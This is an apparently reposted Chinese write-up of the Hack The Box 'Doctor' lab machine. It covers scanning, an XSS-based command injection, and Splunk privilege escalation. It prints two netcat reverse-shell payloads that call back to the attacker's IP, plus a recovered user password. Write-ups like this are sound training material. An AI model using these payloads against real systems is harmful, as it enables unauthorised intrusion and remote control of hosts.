HTB Doctor(Easy)
地址:https://www.hackthebox.eu/home/machines/profile/278
基本信息
在进行渗透之前需要将HTB与kali进行连接,建立连接之后才可以进行渗透
一、信息收集
靶机地址为10.10.10.209
使用nmap对靶机进行扫描
nmap -sC -sV -sT -O -A 10.10.10.209
开放了22,80,8089三个端口
8089对应的服务为splunk
二、访问80端口
需要添加一条hosts命令才可以访问其他内容
三、访问doctors.htb
vim hosts
10.10.10.209 doctors.htb
进入页面后尝试万能登陆密码,但是失败了
注册用户进行登录看看是否有可利用的信息,发现可能存在xss漏洞,可以构造xss代码反弹shell
<img src=http://10.10.14.3/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.3'$IFS'1234')>
成功反弹,获取交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
进入home目录查看是否有可利用信息
在shaun目录下发现user.txt
尝试查看,但是没有权限被拒绝
通过其他途径进行权限的提升,最终在/var/log/apache2路径下发现backup文件
查看backup是否能够获得有用信息
筛选含有密码的记录
cat backup | grep password
切换shaun用户登录,查看user.txt但是这不是最终要获取的内容
需要提权到root权限才可以获得
四、提权
利用8089对应的服务为splunk进行提权
git clone https://github.com/cnotin/SplunkWhisperer2.git 复制到/htb/doctor文件夹下
cd SplunkWhisperer2/ 进入SplunkWhisperer2文件
cd PySplunkWhisperer2/ 进入PySplunkWhisperer2文件
chmod 777 PySplunkWhisperer2_remote.py 提权
通过github中的使用方法进行操作
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.3 --username shaun --password Guitar123 --payload " "nc.traditional -e /bin/bash '10.10.14.3' '8888'"
进入root目录获取root.txt
来源:oschina
链接:https://my.oschina.net/u/4258423/blog/4922040